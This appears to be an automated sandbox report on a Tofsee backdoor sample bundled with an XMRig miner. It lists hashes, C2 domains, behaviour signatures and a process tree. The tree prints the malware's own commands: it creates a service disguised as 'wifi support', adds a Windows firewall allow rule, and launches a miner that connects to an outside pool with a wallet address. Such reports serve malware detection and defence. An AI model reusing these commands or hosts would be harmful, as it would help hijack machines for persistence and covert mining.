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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 00:09

General

  • Target

    a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200.exe

  • Size

    215KB

  • MD5

    a6b34e07b802a18f9e57443f28ec7c1b

  • SHA1

    b80007dcd6643c7f549e27bacb92eb12be9a542e

  • SHA256

    a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200

  • SHA512

    54ec8d1534e1be24fa48e3fbb0b1fbbf8719e299710f11df85da57f8f2c8a99f6e717003dad9b6cb8f4eb691d1ded831927806879513dc339a7185ad446bf808

  • SSDEEP

    6144:iWvlLnrlMm5wI4IdAss7j70X4UdO51jcbXF:iWNjBIc8v0Zu1YbXF

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200.exe
    "C:\Users\Admin\AppData\Local\Temp\a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3304
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vidmnfwk\
      2⤵
        PID:1716
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe" C:\Windows\SysWOW64\vidmnfwk\
        2⤵
          PID:2112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vidmnfwk binPath= "C:\Windows\SysWOW64\vidmnfwk\lwsxohti.exe /d\"C:\Users\Admin\AppData\Local\Temp\a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vidmnfwk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vidmnfwk
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1880
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3304 -s 1036
          2⤵
          • Program crash
          PID:4668
      • C:\Windows\SysWOW64\vidmnfwk\lwsxohti.exe
        C:\Windows\SysWOW64\vidmnfwk\lwsxohti.exe /d"C:\Users\Admin\AppData\Local\Temp\a20b91e4573d2870c31957fc1f1dff4188e24a3350546d939a6731339639d200.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3740
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3472
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3740 -s 516
          2⤵
          • Program crash
          PID:2360
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3304 -ip 3304
        1⤵
          PID:1116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3740 -ip 3740
          1⤵
            PID:2656

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe

            Filesize

            11.4MB

            MD5

            798267116e2fac3f4344f3b190e12b33

            SHA1

            dd34532fcbe6c7bc3566fc7b003ad1a6bc656112

            SHA256

            0aab9fdee1dcf46a5b98b182b1d53c5aba60e83b6b39f74738b290292739ddc4

            SHA512

            2c7f5af212c40daa2b22c219445013db33a3a0345c84d0ac320b3f8ee7562a3d6375cc10f276b773e9de06639c425d76dd7121f92cc8e46d41f4cee8f3c70826

          • C:\Windows\SysWOW64\vidmnfwk\lwsxohti.exe

            Filesize

            11.4MB

            MD5

            798267116e2fac3f4344f3b190e12b33

            SHA1

            dd34532fcbe6c7bc3566fc7b003ad1a6bc656112

            SHA256

            0aab9fdee1dcf46a5b98b182b1d53c5aba60e83b6b39f74738b290292739ddc4

            SHA512

            2c7f5af212c40daa2b22c219445013db33a3a0345c84d0ac320b3f8ee7562a3d6375cc10f276b773e9de06639c425d76dd7121f92cc8e46d41f4cee8f3c70826

          • memory/3304-132-0x00000000005C8000-0x00000000005D9000-memory.dmp

            Filesize

            68KB

          • memory/3304-133-0x00000000004E0000-0x00000000004F3000-memory.dmp

            Filesize

            76KB

          • memory/3304-134-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/3304-143-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/3472-155-0x00000000021D0000-0x00000000021D6000-memory.dmp

            Filesize

            24KB

          • memory/3472-167-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

            Filesize

            28KB

          • memory/3472-164-0x0000000007900000-0x0000000007D0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3472-150-0x0000000000B60000-0x0000000000B75000-memory.dmp

            Filesize

            84KB

          • memory/3472-151-0x0000000000B60000-0x0000000000B75000-memory.dmp

            Filesize

            84KB

          • memory/3472-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3472-145-0x0000000000B60000-0x0000000000B75000-memory.dmp

            Filesize

            84KB

          • memory/3472-158-0x00000000021E0000-0x00000000021F0000-memory.dmp

            Filesize

            64KB

          • memory/3472-161-0x00000000021F0000-0x00000000021F5000-memory.dmp

            Filesize

            20KB

          • memory/3740-149-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/3740-148-0x0000000000783000-0x0000000000793000-memory.dmp

            Filesize

            64KB

          • memory/4808-171-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/4808-176-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB